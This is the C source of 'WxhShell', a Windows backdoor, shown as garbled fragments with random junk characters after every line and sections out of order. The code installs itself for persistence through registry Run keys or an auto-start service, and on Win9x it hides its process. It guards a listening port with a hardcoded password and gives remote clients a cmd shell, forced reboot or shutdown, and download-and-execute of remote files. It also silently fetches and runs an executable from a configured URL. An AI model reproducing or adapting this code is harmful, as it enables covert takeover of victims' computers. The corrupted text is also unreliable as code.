    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _3O*"S=1  
    else { nD>X?yz2  
    closesocket(wsh); :_2:Fh.}3~  
    ExitThread(0); Dq9f Fe  
    } N~or.i&a  
    break; odJE~\\hw  
    } H!,V7R  
  // 获取shell !vc 5NKv#n  
  case 's': { ~k?t  
    CmdShell(wsh); ;05lwP* r]  
    closesocket(wsh); g2*}XS 3  
    ExitThread(0); $P#+Y,r~\  
    break; 2chT^3e  
  } 30(e6T;   
  // 退出 '%:E4oI  
  case 'x': { 1rU\ !GfR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AXi4{Q,  
    CloseIt(wsh); i.[k"(  
    break; m7XN6zX  
    } %u<r_^w5  
  // 离开 jGJf[:M&Pm  
  case 'q': { +9' )G-`qj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pCa~:q*85  
    closesocket(wsh); rq1~%S  
    WSACleanup(); K:Z,4Y  
    exit(1); A)d0Z6G`  
    break; E5c)\ D  
        } */TO $ ^s  
  } Ae2Y\sAV  
  } @E h(GZN  
Q&%gpa ).W  
  // 提示信息 m9jjKu]|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;i+(Q%LO  
} `Pwf?_2n-  
  } 2)n%rvCQ  
XuZgyt"=r  
  return; >s,*=a  
} Pl#u ,Y  
L=s8em]7l  
// shell模块句柄 (5[#?_~  
int CmdShell(SOCKET sock) 36.mf_AM  
{ 6(1 &6|o3  
STARTUPINFO si; S_VzmCi  
ZeroMemory(&si,sizeof(si)); -~lrv#5Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !VrBoU4<d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !}1l8Y  
PROCESS_INFORMATION ProcessInfo; R_Bf JD.  
char cmdline[]="cmd"; =FFs8&PKys  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o$*DFvk  
  return 0; CPP9=CoR37  
} 9+5F(pd(  
c]z^(:_>  
// 自身启动模式 Ml +f3#HP  
int StartFromService(void) 8 -b~p  
{ =U:]x'g(  
typedef struct CaoQPb*  
{ &;Go CU Le  
  DWORD ExitStatus; S=~+e{  
  DWORD PebBaseAddress; v{\~>1J{  
  DWORD AffinityMask; |ZCv>8?n  
  DWORD BasePriority; P5"B7>L:  
  ULONG UniqueProcessId; #}Ays#wA>?  
  ULONG InheritedFromUniqueProcessId; wc~9zh  
}   PROCESS_BASIC_INFORMATION; Tilr%D(Q  
i@<w"yNd_  
PROCNTQSIP NtQueryInformationProcess; (m.jC}J  
y%YP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DAEWa Kui  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H-X5A\\5  
WFqOVI*l  
  HANDLE             hProcess; A7|x|mW  
  PROCESS_BASIC_INFORMATION pbi; '64/2x  
do%.KIk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6skd>v UU  
  if(NULL == hInst ) return 0; eMH\]A~v"  
*\Hut'7 d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )%!X,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yG>sBc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $ WWi2cI;  
n4ti{-^4|d  
  if (!NtQueryInformationProcess) return 0; 3|Ar~_]  
I&x69  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %]O #t<D  
  if(!hProcess) return 0; ]7h;MR  
xz,M>Ua  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G0ENk|wbbj  
2b :I .  
  CloseHandle(hProcess); mFIIqkUAL  
v\kd78,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V<REcII.  
if(hProcess==NULL) return 0; >rh<%55P`  
%g4)f9>  
HMODULE hMod; (Pt*|@i2c  
char procName[255]; _&xkj8O  
unsigned long cbNeeded; fAvB!e  
y|wR)\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ACgWT  
&0-Pl.M  
  CloseHandle(hProcess); H{Na'_sL  
27H4en; o=  
if(strstr(procName,"services")) return 1; // 以服务启动 HsK5 2<  
#- d-zV*  
  return 0; // 注册表启动 %5(v'/dQ  
} G&7 } m  
=E8Kacu%  
// 主模块 `"bp -/  
int StartWxhshell(LPSTR lpCmdLine) [{_K[5i  
{ .:, 9Tf  
  SOCKET wsl; I]ol[ X0S  
BOOL val=TRUE; ;Y(~'KF  
  int port=0; $I /RN  
  struct sockaddr_in door; )/tdiRpn  
yXc@i)9w3  
  if(wscfg.ws_autoins) Install(); 6K9-n}z  
)v.\4Q4  
port=atoi(lpCmdLine); ]JI A\|b6  
0j{KZy  
if(port<=0) port=wscfg.ws_port; a3(f\MM xE  
j;*= ^s  
  WSADATA data;  aK9zw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MK4CggoC  
'}NH$ KA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5d82Ms  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f<3r;F7  
  door.sin_family = AF_INET; 0 f"M-x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >[g'i+{  
  door.sin_port = htons(port); 7jF2m'(  
2?owXcbx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oga0h'  
closesocket(wsl); ]^l-k@  
return 1; Xc]Q_70O  
}  Qp>Q-+e0  
PFeK;`[  
  if(listen(wsl,2) == INVALID_SOCKET) { O,KlZf_B  
closesocket(wsl); =TXc - J  
return 1; yAVt[+0  
} v y F(k3W  
  Wxhshell(wsl); UIw6~a3E  
  WSACleanup(); cGjkx3l*  
eD 7Rv<  
return 0; Z?'){\$*  
knZ<V%/e  
} cNqw(\rr  
:y[tZ&*<_?  
// 以NT服务方式启动 Q|cA8Fn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ad`jV_z  
{ 1Aa=&B2  
DWORD   status = 0; Yy0m &3[  
  DWORD   specificError = 0xfffffff; .DHRPel  
%AuS8'Uf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H=9\B}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %bUpVyi!(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZsYT&P2  
  serviceStatus.dwWin32ExitCode     = 0; T k4"qGC.  
  serviceStatus.dwServiceSpecificExitCode = 0; [p_C?hHO  
  serviceStatus.dwCheckPoint       = 0; (*YENT}  
  serviceStatus.dwWaitHint       = 0; ZpY"P6  
rk(0w|zR+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SYTzJK@vZJ  
  if (hServiceStatusHandle==0) return; rW3fd.;kss  
 /=7[Q  
status = GetLastError(); ^zaN?0%S33  
  if (status!=NO_ERROR) @;z}Hk0A  
{ cb~m==G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \>-%OcYlM  
    serviceStatus.dwCheckPoint       = 0; U z6XQskX  
    serviceStatus.dwWaitHint       = 0; mCx6$jz  
    serviceStatus.dwWin32ExitCode     = status; O k~\  
    serviceStatus.dwServiceSpecificExitCode = specificError; $eBE pN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7gQ~"Q  
    return; I^6zUVH  
  } Q}jl1dIq  
/c1FFkq|K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wA}+E)x/C  
  serviceStatus.dwCheckPoint       = 0; c =i6  
  serviceStatus.dwWaitHint       = 0; 1%6}m`3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =>6'{32W_  
} 89)rss  
Y,@{1X`0@3  
// 处理NT服务事件,比如:启动、停止 +P<LoI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +<H)DPG<  
{ -.E<~(fad  
switch(fdwControl) hw&R .F  
{ *l^%7W rk  
case SERVICE_CONTROL_STOP: R#Bdfmld q  
  serviceStatus.dwWin32ExitCode = 0; ;=6~,k)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3J}bI {3  
  serviceStatus.dwCheckPoint   = 0; #`4ma:Pj  
  serviceStatus.dwWaitHint     = 0; jM3{A;U2  
  { <&rvv4*H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YvK8;<k@-?  
  } RtR]9^:~  
  return; )y:~T\g  
case SERVICE_CONTROL_PAUSE: VscEdtkd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uIvE~<  
  break; U{o0Posg  
case SERVICE_CONTROL_CONTINUE: Hd)4_ uBt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HIi 5kv]}|  
  break; O=St}B\!m  
case SERVICE_CONTROL_INTERROGATE: OPwj*b:-m  
  break; ( Qw"^lE3  
}; $9\!CPZ2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;HJ|)PN5L  
} g+k0Fw]!  
u#Qd `@p  
// 标准应用程序主函数 Ro?a DrQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S:Ne g!`  
{ F XOA1VEg  
j xr~cp?4  
// 获取操作系统版本 i4N '[ P}  
OsIsNt=GetOsVer(); dg 4 QA_"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g%Ap<iT  
_S#uxgL<  
  // 从命令行安装 }4kd=]Nk  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1G+42>?<1  
Ed)t87E  
  // 下载执行文件 ><[($Gq`g  
if(wscfg.ws_downexe) { A@ EeX4N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a<M<) {$u  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^60BQ{ne  
} iFW)}_.  
Q': }'CI  
if(!OsIsNt) { Xb=9~7&,$  
// 如果时win9x,隐藏进程并且设置为注册表启动 R1FBH:Iu  
HideProc(); _{6QvD3kg.  
StartWxhshell(lpCmdLine); X/TuiKe  
} [(Pm\o  
else gYx|Na,+  
  if(StartFromService()) Y zSUJ=0/  
  // 以服务方式启动 8|w_PP1oE  
  StartServiceCtrlDispatcher(DispatchTable); iP;X8'< BC  
else 0zaE?dA]  
  // 普通方式启动 Qsc%qt-l  
  StartWxhshell(lpCmdLine); /4]M*ls  
QOkPliX  
return 0; m-UI^M,@<  
} [dL4u^]{  
]w(i,iJ  
A - G?@U  
>v`lsCGb  
=========================================== v*1UNXU\  
>9(lFh0P  
[C)-=.Xx)j  
n97A'"'wz  
wz5xJ:Tj  
keEyE;O}u  
" 70l"[Y  
&CFHH"OsT  
#include <stdio.h> /v E>*x  
#include <string.h> VAF+\Cea=  
#include <windows.h> t7("geN]  
#include <winsock2.h> DQd~!21\|  
#include <winsvc.h> HKCMKHR  
#include <urlmon.h> =)(o(bfSKr  
UfSWdR)  
#pragma comment (lib, "Ws2_32.lib") j9sf~}D>  
#pragma comment (lib, "urlmon.lib") [: X  
*BT-@V.4  
#define MAX_USER   100 // 最大客户端连接数 =usx' #rb  
#define BUF_SOCK   200 // sock buffer r"SuE:D  
#define KEY_BUFF   255 // 输入 buffer yK<%AV@v  
utC]GiR  
#define REBOOT     0   // 重启 ;-47d ^  
#define SHUTDOWN   1   // 关机 69 R8#M  
:Q=Jn?Gjb  
#define DEF_PORT   5000 // 监听端口 $6T*\(;T@A  
Q_xE:#!;  
#define REG_LEN     16   // 注册表键长度 RZ9vQ\X U)  
#define SVC_LEN     80   // NT服务名长度 7E4=\vM  
vAi kd#C)  
// 从dll定义API T@uY6))>F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <SUjz}_Oa:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l njaHol0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tB4- of3+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a5:Q%F<!  
%lAJ]$m  
// wxhshell配置信息 ? r=cLC  
struct WSCFG { l~wx8 ,?G  
  int ws_port;         // 监听端口 P}y}IR{6  
  char ws_passstr[REG_LEN]; // 口令 ^_r8R__S:  
  int ws_autoins;       // 安装标记, 1=yes 0=no .xuLvNyQr  
  char ws_regname[REG_LEN]; // 注册表键名 $$2\qN -  
  char ws_svcname[REG_LEN]; // 服务名 Zi[@xG8dm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _=XzQZT!L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h*{{_3,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0m6Vf x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ps(3X@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CE:TQzg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *[(O&L&0  
fP%hr gL  
}; 4r`u@  
l2U"4d!o  
// default Wxhshell configuration 1g5%Gr/0$5  
struct WSCFG wscfg={DEF_PORT, 5V4Ze;K  
    "xuhuanlingzhe", z,[4 BM  
    1, 900#K   
    "Wxhshell", 0~Ot  
    "Wxhshell", K_',Gd4L  
            "WxhShell Service", s={AdQ  
    "Wrsky Windows CmdShell Service", hgX@?WWR  
    "Please Input Your Password: ", 1 e1$x@\\  
  1, IL?3>$,  
  "http://www.wrsky.com/wxhshell.exe", v{^_3 ]  
  "Wxhshell.exe" wP- pFc  
    }; f@T/^|`mh  
~cVFCM  
// 消息定义模块 deHhl(U;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DTk)Y-eQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \T'uFy9&a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4:=']C  
char *msg_ws_ext="\n\rExit."; h}i /u  
char *msg_ws_end="\n\rQuit."; Pfu2=2Ra  
char *msg_ws_boot="\n\rReboot..."; }x`W+r  
char *msg_ws_poff="\n\rShutdown..."; L"A,7@:Vd  
char *msg_ws_down="\n\rSave to "; g8 ,V( ^  
RyKsM.   
char *msg_ws_err="\n\rErr!"; kXA o+l  
char *msg_ws_ok="\n\rOK!"; aErms-~  
\,i9m9;y  
char ExeFile[MAX_PATH]; aG}ju;  
int nUser = 0; : I28Zi*  
HANDLE handles[MAX_USER]; m+||t  
int OsIsNt; >xws  
gEbe6!; q3  
SERVICE_STATUS       serviceStatus; ByoSwQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }(z[ rZ  
6 uW?xB9  
// 函数声明 N%%2!Z#  
int Install(void); ;ajCnSmR  
int Uninstall(void); '{p/F $  
int DownloadFile(char *sURL, SOCKET wsh); la>:%SD  
int Boot(int flag); ;BUJ5  
void HideProc(void); 4=td}%  
int GetOsVer(void); Uc%(#I]Mi  
int Wxhshell(SOCKET wsl); b26#0;i  
void TalkWithClient(void *cs); fi^ I1*S  
int CmdShell(SOCKET sock); $Mm=5 K%  
int StartFromService(void); l7]:b8  
int StartWxhshell(LPSTR lpCmdLine); %>Z^BM<e  
l^w=b~|7=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Nl,M9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |} ;&xI  
X:bv ?o>Y  
// 数据结构和表定义 h`X)sC+  
SERVICE_TABLE_ENTRY DispatchTable[] = j}3Avu%  
{ orYE&  
{wscfg.ws_svcname, NTServiceMain}, G=/a>{  
{NULL, NULL} a7s+l=  
}; l5QH8eNwME  
z^$DXl@)h  
// 自我安装 Yb\t0:_  
int Install(void) nfET;:{  
{ KWbnSL8  
  char svExeFile[MAX_PATH]; ma[%,u`  
  HKEY key; O*xC}$OOn  
  strcpy(svExeFile,ExeFile); >UvLeS2h:y  
b<>GF-`w  
// 如果是win9x系统,修改注册表设为自启动 :kz*.1  
if(!OsIsNt) { _^;+_6&[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~=91Kxf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A&X(\c M  
  RegCloseKey(key); EjW3_ %  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~sT/t1Rp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )zz^RB\p  
  RegCloseKey(key); H6%QM}t  
  return 0; b9Jah  
    } ]Ir{9EE v  
  } ZDuP|" ^  
} (T:OZmEO.  
else { |b" h+  
]=\vl>W  
// 如果是NT以上系统,安装为系统服务 =lY6v -MBw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BH6)`0&2*N  
if (schSCManager!=0) qniP`P4E  
{ gsFyZ  
  SC_HANDLE schService = CreateService Tlc3l}B*Z  
  ( ap;?[B~Ga  
  schSCManager, n+ 1!/H=d  
  wscfg.ws_svcname, HYm |  
  wscfg.ws_svcdisp, [mwJ*GJ-  
  SERVICE_ALL_ACCESS, 81Ixs Qt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3SI:su  
  SERVICE_AUTO_START, 1{D_30sG.  
  SERVICE_ERROR_NORMAL, M &`ZF  
  svExeFile, :j_OO5b!  
  NULL, ,p2BB"^_i  
  NULL, #yz5CWu  
  NULL, W <.h@Rz+  
  NULL, bW03m_<M<1  
  NULL ,{DZvif   
  ); f}{ lRk  
  if (schService!=0) ms9zp?M  
  { !_EL{/ko  
  CloseServiceHandle(schService); W,<L/ZKJ  
  CloseServiceHandle(schSCManager); J |4q9$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xS.Rpx/8  
  strcat(svExeFile,wscfg.ws_svcname); '](4g/%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T,N"8N{K"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fXfBDB  
  RegCloseKey(key); 4CAV)  
  return 0; 4Uz1~AuNxb  
    } 0-Z sV3I&  
  } )Dn~e#  
  CloseServiceHandle(schSCManager); s&(,_34  
} &%J+d"n(  
} +LBDn"5  
,K4*0!TXP  
return 1; `"~s<+  
} Xc)V;1  
%f??O|O3  
// 自我卸载 h M{&if  
int Uninstall(void) 9 {&APxm  
{ ttQX3rmF01  
  HKEY key; i>=d7'oR  
dLA'cQId  
if(!OsIsNt) { Qa*?iD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _D{zB1d\0  
  RegDeleteValue(key,wscfg.ws_regname); @ qFE6!  
  RegCloseKey(key); K&1o!<|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u=j|']hp#&  
  RegDeleteValue(key,wscfg.ws_regname); 2hB';Dv  
  RegCloseKey(key); Mou@G3  
  return 0; +Smt8O<N  
  } Q2^~^'Y k  
} YA(_*h  
} e|Ip7`  
else { "F_o%!l  
6@0 wKV!D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dFdll3bC  
if (schSCManager!=0) }mGOEG|F2  
{ e<_yr>9g"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JtB"Dh  
  if (schService!=0) bpe8 `b(#  
  { b1X.#pz7F  
  if(DeleteService(schService)!=0) { nq'vq] ]  
  CloseServiceHandle(schService); "= H.$ +  
  CloseServiceHandle(schSCManager); >&uG1q0p.  
  return 0; [y^)&L$=  
  } Zmx[u_NG  
  CloseServiceHandle(schService); In1VW|4h  
  } FN$ hEc!  
  CloseServiceHandle(schSCManager); 'vgO`  
} 9`[#4'1Mik  
} ,p(4OZz5,  
*~p~IX{  
return 1; F[aow$",+}  
} B@ab[dm280  
&p?Oo^  
// 从指定url下载文件 H<$.AC\zn  
int DownloadFile(char *sURL, SOCKET wsh) G5^gwG+  
{ WZ.d"EE"  
  HRESULT hr; >v4k_JX  
char seps[]= "/"; GPqF>   
char *token; V<} ^n  
char *file; ~cE;k@  
char myURL[MAX_PATH]; zs+[Aco)  
char myFILE[MAX_PATH]; apW0(&\  
6r"PtHr  
strcpy(myURL,sURL); rWN#QL()*  
  token=strtok(myURL,seps); A<6V$e$:2  
  while(token!=NULL) Y`FGD25`  
  { ,v"/3Ff{,  
    file=token; ++KY+j.^  
  token=strtok(NULL,seps); vS~y~uU%6  
  } 0m5Q;|mH  
Z=: oIAe  
GetCurrentDirectory(MAX_PATH,myFILE); JCIm*6~  
strcat(myFILE, "\\"); <`dF~   
strcat(myFILE, file); qZ!1>`B  
  send(wsh,myFILE,strlen(myFILE),0); \!UNa le  
send(wsh,"...",3,0); S"|sD|xOb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -t9oL3J  
  if(hr==S_OK) '-jKv=D+  
return 0; D\Y)E#%,  
else B3I\=  
return 1; ?Y"bt^4j  
d}f| HOFq  
} ~A8%[.({5  
?KxI|os  
// 系统电源模块 Rl4r 9  
int Boot(int flag) CvpqQ7&k7  
{ ,5\:\e0H  
  HANDLE hToken; V:42\b7x  
  TOKEN_PRIVILEGES tkp; $XS0:C0  
@4:cn  
  if(OsIsNt) { lwH&4K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q^Ln`zMe  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?`F")y  
    tkp.PrivilegeCount = 1; 6'C!Au  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ";~}"Yz?[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]\nG1+ta  
if(flag==REBOOT) { K{VF_S:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BfOG e!Si  
  return 0;  =erA.u  
} Vvx(7p-GQ  
else { $"{V],:T |  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ADX}  
  return 0; XA])<dZ  
} +DKrX  
  } |Y<ca   
  else { y? [*qnPj  
if(flag==REBOOT) { T[)) ful  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0:G@a&Lr  
  return 0; 1at$_\{.(  
} Fm}O,=  
else { 81a&99k#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) | -Di/.  
  return 0; k;3P;@3,W  
} ~QdwoeaD  
} hE:P'O1  
;hs:wLVa"  
return 1; 6\86E$f=h  
} 'OGOT0(  
PqcuSb6  
// win9x进程隐藏模块 Tu_dkif'  
void HideProc(void) OxF\Hm)(  
{ ZNB*Azi  
3Gn2@`GC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \Y9=d E}  
  if ( hKernel != NULL ) ^J>28Q\S  
  { c7\bA7.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !U`T;\,v5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p)ZlQ.d#Y  
    FreeLibrary(hKernel); ?l,i(I  
  } +bm2vIh$  
h Zlajky  
return; RA[` Cp"  
} !w f N~.Y  
UO"8 I2rB  
// 获取操作系统版本 5d}PrYa  
int GetOsVer(void) "4"\tM(  
{ S=aXmz<  
  OSVERSIONINFO winfo; mS~3QV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =mqV&FgRo  
  GetVersionEx(&winfo); l O, 2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j<deTK;.  
  return 1; b&~uK"O'7d  
  else #Mbt%m  
  return 0; !^axO  
} #bu`W!p}  
mKpUEJ<a  
// 客户端句柄模块 k5-mK{RZ  
int Wxhshell(SOCKET wsl) -I=}SZ  
{ ">fgoDQ  
  SOCKET wsh; QHs=Zh;"  
  struct sockaddr_in client; ciC4V^f  
  DWORD myID; qC\$>QU}  
SO p%{b  
  while(nUser<MAX_USER) e^'?:j  
{ M`?/QU~  
  int nSize=sizeof(client); LR)is  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c<&+[{|  
  if(wsh==INVALID_SOCKET) return 1; !.t'3~dUf$  
!hH6!G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >Dtw^1i  
if(handles[nUser]==0) zm8m J2s  
  closesocket(wsh); %aw/Y5  
else tDN-I5q  
  nUser++; !y] Y'j  
  } ZQBo|8*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uaDU+y wL  
6l_8Q w*5I  
  return 0; l3g6y 9;  
} 30H:x@='9  
%\b5)p  
// 关闭 socket 6AQ;P  
void CloseIt(SOCKET wsh) #-lk=>  
{ [/#n+sz.A  
closesocket(wsh); %7|qnh6  
nUser--; 3b&W=1J  
ExitThread(0); }= <!j5:  
} RTl7vzG  
NZlJ_[\$C  
// 客户端请求句柄 q',a7Tf:  
void TalkWithClient(void *cs) 8%xtb6#7M  
{ [2\`Wh:%P  
)i!)Tv  
  SOCKET wsh=(SOCKET)cs; SbI,9<  
  char pwd[SVC_LEN]; S?3{G@!  
  char cmd[KEY_BUFF]; k6Tpaf^  
char chr[1]; ]`4 QJ ;#  
int i,j; Osy5|Ts  
*<0g/AL  
  while (nUser < MAX_USER) { |d`?wm-  
$!vi:+ED  
if(wscfg.ws_passstr) { Og*1pvN<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #&8 Opo(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 41uS r 1  
  //ZeroMemory(pwd,KEY_BUFF); HdnSs0 /  
      i=0; Ow^%n(Ezh  
  while(i<SVC_LEN) { S i>TG  
U73`HDJ  
  // 设置超时 6nq.~f2`  
  fd_set FdRead; ',&MYm\  
  struct timeval TimeOut; !<X_XA  
  FD_ZERO(&FdRead); ?,8b-U#A1  
  FD_SET(wsh,&FdRead); ah<f&2f  
  TimeOut.tv_sec=8; r2Z`4tN:  
  TimeOut.tv_usec=0; sNZPv^c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pF !vW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *{Z!m@?  
Y zvtxX*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B+B v(p  
  pwd=chr[0]; Z\7bp&&  
  if(chr[0]==0xd || chr[0]==0xa) { rFK *  
  pwd=0; C4cg,>P7  
  break; PQ(%5c1e  
  } *|3z($*U]  
  i++; v4.V%tg!  
    } Q?;ntzi  
}N|/b"j9  
  // 如果是非法用户,关闭 socket e.kt]l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {r}}X@|5  
} v}mmY>M%  
K*}j1A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "nefRz%j+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f 0#V^[%Q  
^R$dG[Qf  
while(1) { j,-7J*A~  
F>Oh)VL,Ev  
  ZeroMemory(cmd,KEY_BUFF); ~VGK#'X:  
:)yM9^<D  
      // 自动支持客户端 telnet标准   CyU>S}t  
  j=0; v;8XRR:  
  while(j<KEY_BUFF) { E4.IS =4S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UmuFzw^  
  cmd[j]=chr[0]; fh 3 6  
  if(chr[0]==0xa || chr[0]==0xd) { $3Ia+O   
  cmd[j]=0; gc:>HX );)  
  break; syfR5wc  
  } qs b4@jt+  
  j++; >dGYZfqD  
    } 4>HGwk@+8  
sP |i '  
  // 下载文件 CUG<v3\  
  if(strstr(cmd,"http://")) { tSYnc7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]mh+4k?b  
  if(DownloadFile(cmd,wsh)) }.vy|^X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s#fmGe"8  
  else 9|m  L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X[ (J!"+  
  } u"T^DrRlQ  
  else { ~k(Ez pn#  
qQ'@yTVN  
    switch(cmd[0]) { 'W*F[U*&HP  
